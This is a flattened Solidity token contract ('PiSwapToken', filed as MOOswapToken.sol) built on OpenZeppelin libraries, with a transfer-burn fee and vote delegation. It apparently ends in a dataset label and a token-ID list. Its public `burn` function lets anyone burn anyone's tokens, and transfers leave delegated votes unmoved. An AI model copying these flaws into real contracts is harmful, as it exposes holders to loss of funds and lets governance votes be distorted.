* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// File: @openzeppelin/contracts/token/ERC20/SafeERC20.sol
pragma solidity ^0.6.0;
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// File: @openzeppelin/contracts/utils/EnumerableSet.sol
pragma solidity ^0.6.0;
/**
* @dev Library for managing
* https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive
* types.
*
* Sets have the following properties:
*
* - Elements are added, removed, and checked for existence in constant time
* (O(1)).
* - Elements are enumerated in O(n). No guarantees are made on the ordering.
*
* ```
* contract Example {
* // Add the library methods
* using EnumerableSet for EnumerableSet.AddressSet;
*
* // Declare a set state variable
* EnumerableSet.AddressSet private mySet;
* }
* ```
*
* As of v3.0.0, only sets of type `address` (`AddressSet`) and `uint256`
* (`UintSet`) are supported.
*/
library EnumerableSet {
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Set type with
// bytes32 values.
// The Set implementation uses private functions, and user-facing
// implementations (such as AddressSet) are just wrappers around the
// underlying Set.
// This means that we can only create new EnumerableSets for types that fit
// in bytes32.
struct Set {
// Storage of set values
bytes32[] _values;
// Position of the value in the `values` array, plus 1 because index 0
// means a value is not in the set.
mapping (bytes32 => uint256) _indexes;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function _add(Set storage set, bytes32 value) private returns (bool) {
if (!_contains(set, value)) {
set._values.push(value);
// The value is stored at length-1, but we add 1 to all indexes
// and use 0 as a sentinel value
set._indexes[value] = set._values.length;
return true;
} else {
return false;
}
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function _remove(Set storage set, bytes32 value) private returns (bool) {
// We read and store the value's index to prevent multiple reads from the same storage slot
uint256 valueIndex = set._indexes[value];
if (valueIndex != 0) { // Equivalent to contains(set, value)
// To delete an element from the _values array in O(1), we swap the element to delete with the last one in
// the array, and then remove the last element (sometimes called as 'swap and pop').
// This modifies the order of the array, as noted in {at}.
uint256 toDeleteIndex = valueIndex - 1;
uint256 lastIndex = set._values.length - 1;
// When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs
// so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement.
bytes32 lastvalue = set._values[lastIndex];
// Move the last value to the index where the value to delete is
set._values[toDeleteIndex] = lastvalue;
// Update the index for the moved value
set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based
// Delete the slot where the moved value was stored
set._values.pop();
// Delete the index for the deleted slot
delete set._indexes[value];
return true;
} else {
return false;
}
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function _contains(Set storage set, bytes32 value) private view returns (bool) {
return set._indexes[value] != 0;
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function _length(Set storage set) private view returns (uint256) {
return set._values.length;
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function _at(Set storage set, uint256 index) private view returns (bytes32) {
require(set._values.length > index, "EnumerableSet: index out of bounds");
return set._values[index];
}
// AddressSet
struct AddressSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(AddressSet storage set, address value) internal returns (bool) {
return _add(set._inner, bytes32(uint256(value)));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(AddressSet storage set, address value) internal returns (bool) {
return _remove(set._inner, bytes32(uint256(value)));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(AddressSet storage set, address value) internal view returns (bool) {
return _contains(set._inner, bytes32(uint256(value)));
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(AddressSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(AddressSet storage set, uint256 index) internal view returns (address) {
return address(uint256(_at(set._inner, index)));
}
// UintSet
struct UintSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(UintSet storage set, uint256 value) internal returns (bool) {
return _add(set._inner, bytes32(value));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(UintSet storage set, uint256 value) internal returns (bool) {
return _remove(set._inner, bytes32(value));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(UintSet storage set, uint256 value) internal view returns (bool) {
return _contains(set._inner, bytes32(value));
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function length(UintSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(UintSet storage set, uint256 index) internal view returns (uint256) {
return uint256(_at(set._inner, index));
}
}
// File: @openzeppelin/contracts/GSN/Context.sol
pragma solidity ^0.6.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// File: @openzeppelin/contracts/access/Ownable.sol
pragma solidity ^0.6.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
// File: @openzeppelin/contracts/token/ERC20/ERC20.sol
pragma solidity ^0.6.0;
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name, string memory symbol) public {
_name = name;
_symbol = symbol;
_decimals = 18;
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Sets {decimals} to a value other than the default one of 18.
*
* WARNING: This function should only be called from the constructor. Most
* applications that interact with token contracts will not expect
* {decimals} to ever change, and may work incorrectly if it does.
*/
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
// File: contracts/MOOswapToken.sol
pragma solidity 0.6.12;
contract PiSwapToken is ERC20("Pi Swap", "PI"), Ownable {
using SafeMath for uint256;
uint8 public FeeRate = 4;
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
uint256 feeAmount = amount.mul(FeeRate).div(100);
_burn(msg.sender, feeAmount);
return super.transfer(recipient, amount.sub(feeAmount));
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
uint256 feeAmount = amount.mul(FeeRate).div(100);
_burn(sender, feeAmount);
return super.transferFrom(sender, recipient, amount.sub(feeAmount));
}
/**
* @dev Chef distributes newly generated MOOswapToken to each farmmers
* "onlyOwner" :: for the one who worries about the function, this distribute process is only done by MasterChef contract for farming process
*/
function distribute(address _to, uint256 _amount) public onlyOwner {
_mint(_to, _amount);
_moveDelegates(address(0), _delegates[_to], _amount);
}
/**
* @dev Burning token for deflanationary features
*/
function burn(address _from, uint256 _amount) public {
_burn(_from, _amount);
}
/**
* @dev Tokenomic decition from governance
*/
function changeFeeRate(uint8 _feerate) public onlyOwner {
FeeRate = _feerate;
}
mapping (address => address) internal _delegates;
struct Checkpoint {
uint32 fromBlock;
uint256 votes;
}
/// @notice A record of votes checkpoints for each account, by index
mapping (address => mapping (uint32 => Checkpoint)) public checkpoints;
/// @notice The number of checkpoints for each account
mapping (address => uint32) public numCheckpoints;
/// @notice The EIP-712 typehash for the contract's domain
bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)");
/// @notice The EIP-712 typehash for the delegation struct used by the contract
bytes32 public constant DELEGATION_TYPEHASH = keccak256("Delegation(address delegatee,uint256 nonce,uint256 expiry)");
/// @notice A record of states for signing / validating signatures
mapping (address => uint) public nonces;
/// @notice An event thats emitted when an account changes its delegate
event DelegateChanged(address indexed delegator, address indexed fromDelegate, address indexed toDelegate);
/// @notice An event thats emitted when a delegate account's vote balance changes
event DelegateVotesChanged(address indexed delegate, uint previousBalance, uint newBalance);
/**
* @notice Delegate votes from `msg.sender` to `delegatee`
* @param delegator The address to get delegatee for
*/
function delegates(address delegator)
external
view
returns (address)
{
return _delegates[delegator];
}
/**
* @notice Delegate votes from `msg.sender` to `delegatee`
* @param delegatee The address to delegate votes to
*/
function delegate(address delegatee) external {
return _delegate(msg.sender, delegatee);
}
/**
* @notice Delegates votes from signatory to `delegatee`
* @param delegatee The address to delegate votes to
* @param nonce The contract state required to match the signature
* @param expiry The time at which to expire the signature
* @param v The recovery byte of the signature
* @param r Half of the ECDSA signature pair
* @param s Half of the ECDSA signature pair
*/
function delegateBySig(
address delegatee,
uint nonce,
uint expiry,
uint8 v,
bytes32 r,
bytes32 s
)
external
{
bytes32 domainSeparator = keccak256(
abi.encode(
DOMAIN_TYPEHASH,
keccak256(bytes(name())),
getChainId(),
address(this)
)
);
bytes32 structHash = keccak256(
abi.encode(
DELEGATION_TYPEHASH,
delegatee,
nonce,
expiry
)
);
bytes32 digest = keccak256(
abi.encodePacked(
"\x19\x01",
domainSeparator,
structHash
)
);
address signatory = ecrecover(digest, v, r, s);
require(signatory != address(0), "Pi Swap::delegateBySig: invalid signature");
require(nonce == nonces[signatory]++, "Pi Swap::delegateBySig: invalid nonce");
require(now <= expiry, "Pi Swap::delegateBySig: signature expired");
return _delegate(signatory, delegatee);
}
/**
* @notice Gets the current votes balance for `account`
* @param account The address to get votes balance
* @return The number of current votes for `account`
*/
function getCurrentVotes(address account)
external
view
returns (uint256)
{
uint32 nCheckpoints = numCheckpoints[account];
return nCheckpoints > 0 ? checkpoints[account][nCheckpoints - 1].votes : 0;
}
/**
* @notice Determine the prior number of votes for an account as of a block number
* @dev Block number must be a finalized block or else this function will revert to prevent misinformation.
* @param account The address of the account to check
* @param blockNumber The block number to get the vote balance at
* @return The number of votes the account had as of the given block
*/
function getPriorVotes(address account, uint blockNumber)
external
view
returns (uint256)
{
require(blockNumber < block.number, "Pi Swap::getPriorVotes: not yet determined");
uint32 nCheckpoints = numCheckpoints[account];
if (nCheckpoints == 0) {
return 0;
}
if (checkpoints[account][nCheckpoints - 1].fromBlock <= blockNumber) {
return checkpoints[account][nCheckpoints - 1].votes;
}
if (checkpoints[account][0].fromBlock > blockNumber) {
return 0;
}
uint32 lower = 0;
uint32 upper = nCheckpoints - 1;
while (upper > lower) {
uint32 center = upper - (upper - lower) / 2; // ceil, avoiding overflow
Checkpoint memory cp = checkpoints[account][center];
if (cp.fromBlock == blockNumber) {
return cp.votes;
} else if (cp.fromBlock < blockNumber) {
lower = center;
} else {
upper = center - 1;
}
}
return checkpoints[account][lower].votes;
}
function _delegate(address delegator, address delegatee)
internal
{
address currentDelegate = _delegates[delegator];
uint256 delegatorBalance = balanceOf(delegator);
_delegates[delegator] = delegatee;
emit DelegateChanged(delegator, currentDelegate, delegatee);
_moveDelegates(currentDelegate, delegatee, delegatorBalance);
}
function _moveDelegates(address srcRep, address dstRep, uint256 amount) internal {
if (srcRep != dstRep && amount > 0) {
if (srcRep != address(0)) {
// decrease old representative
uint32 srcRepNum = numCheckpoints[srcRep];
uint256 srcRepOld = srcRepNum > 0 ? checkpoints[srcRep][srcRepNum - 1].votes : 0;
uint256 srcRepNew = srcRepOld.sub(amount);
_writeCheckpoint(srcRep, srcRepNum, srcRepOld, srcRepNew);
}
if (dstRep != address(0)) {
// increase new representative
uint32 dstRepNum = numCheckpoints[dstRep];
uint256 dstRepOld = dstRepNum > 0 ? checkpoints[dstRep][dstRepNum - 1].votes : 0;
uint256 dstRepNew = dstRepOld.add(amount);
_writeCheckpoint(dstRep, dstRepNum, dstRepOld, dstRepNew);
}
}
}
function _writeCheckpoint(
address delegatee,
uint32 nCheckpoints,
uint256 oldVotes,
uint256 newVotes
)
internal
{
uint32 blockNumber = safe32(block.number, "Pi Swap::_writeCheckpoint: block number exceeds 32 bits");
if (nCheckpoints > 0 && checkpoints[delegatee][nCheckpoints - 1].fromBlock == blockNumber) {
checkpoints[delegatee][nCheckpoints - 1].votes = newVotes;
} else {
checkpoints[delegatee][nCheckpoints] = Checkpoint(blockNumber, newVotes);
numCheckpoints[delegatee] = nCheckpoints + 1;
}
emit DelegateVotesChanged(delegatee, oldVotes, newVotes);
}
function safe32(uint n, string memory errorMessage) internal pure returns (uint32) {
require(n < 2**32, errorMessage);
return uint32(n);
}
function getChainId() internal pure returns (uint) {
uint256 chainId;
assembly { chainId := chainid() }
return chainId;
}
} | True | [
101,
1013,
1013,
23772,
2595,
1011,
6105,
1011,
8909,
4765,
18095,
1024,
10210,
1013,
1013,
5371,
1024,
1030,
2330,
4371,
27877,
2378,
1013,
8311,
1013,
19204,
1013,
9413,
2278,
11387,
1013,
29464,
11890,
11387,
1012,
14017,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1020,
1012,
1014,
1025,
1013,
1008,
1008,
1008,
1030,
16475,
8278,
1997,
1996,
9413,
2278,
11387,
3115,
2004,
4225,
1999,
1996,
1041,
11514,
1012,
1008,
1013,
8278,
29464,
11890,
11387,
1063,
1013,
1008,
1008,
1008,
1030,
16475,
5651,
1996,
3815,
1997,
19204,
2015,
1999,
4598,
1012,
1008,
1013,
3853,
21948,
6279,
22086,
1006,
1007,
6327,
3193,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1025,
1013,
1008,
1008,
1008,
1030,
16475,
5651,
1996,
3815,
1997,
19204,
2015,
3079,
2011,
1036,
4070,
1036,
1012,
1008,
1013,
3853,
5703,
11253,
1006,
4769,
4070,
1007,
6327,
3193,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1025,
1013,
1008,
1008,
1008,
1030,
16475,
5829,
1036,
3815,
1036,
19204,
2015,
2013,
1996,
20587,
1005,
1055,
4070,
2000,
1036,
7799,
1036,
1012,
1008,
1008,
5651,
1037,
22017,
20898,
3643,
8131,
3251,
1996,
3169,
4594,
1012,
1008,
1008,
12495,
3215,
1037,
1063,
4651,
1065,
2724,
1012,
1008,
1013,
3853,
4651,
1006,
4769,
7799,
1010,
21318,
3372,
17788,
2575,
3815,
1007,
6327,
5651,
1006,
22017,
2140,
1007,
1025,
1013,
1008,
1008,
1008,
1030,
16475,
5651,
1996,
3588,
2193,
1997,
19204,
2015,
2008,
1036,
5247,
2121,
1036,
2097,
2022,
1008,
3039,
2000,
5247,
2006,
6852,
1997,
1036,
3954,
1036,
2083,
1063,
4651,
19699,
5358,
1065,
1012,
2023,
2003,
1008,
5717,
2011,
12398,
1012,
1008,
1008,
2023,
3643,
3431,
2043,
1063,
14300,
1065,
2030,
1063,
4651,
19699,
5358,
1065,
2024,
2170,
1012,
1008,
1013,
3853,
21447,
1006,
4769,
3954,
1010,
4769,
5247,
2121,
1007,
6327,
3193,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1025,
1013,
1008,
1008,
1008,
1030,
16475,
4520,
1036,
3815,
1036,
2004,
1996,
21447,
1997,
1036,
5247,
2121,
1036,
2058,
1996,
20587,
1005,
1055,
19204,
2015,
1012,
1008,
1008,
5651,
1037,
22017,
20898,
3643,
8131,
3251,
1996,
3169,
4594,
1012,
1008,
1008,
2590,
1024,
2022,
8059,
2008,
5278,
2019,
21447,
2007,
2023,
4118,
7545,
1996,
3891,
1008,
2008,
2619,
2089,
2224,
2119,
1996,
2214,
1998,
1996,
2047,
21447,
2011,
15140,
1008,
12598,
13063,
1012,
2028,
2825,
5576,
2000,
10210,
28731,
2023,
2679,
1008,
4650,
2003,
2000,
2034,
5547,
1996,
5247,
2121,
1005,
1055,
21447,
2000,
1014,
1998,
2275,
1996,
1008,
9059,
3643,
5728,
1024,
1008,
16770,
1024,
1013,
1013,
21025,
2705,
12083,
1012,
4012,
1013,
28855,
14820,
1013,
1041,
11514,
2015,
1013,
3314,
1013,
2322,
1001,
3277,
9006,
3672,
1011,
25246,
25746,
22610,
24594,
1008,
1008,
12495,
3215,
2019,
1063,
6226,
1065,
2724,
1012,
1008,
1013,
3853,
14300,
1006,
4769,
5247,
2121,
1010,
21318,
3372,
17788,
2575,
3815,
1007,
6327,
5651,
1006,
22017,
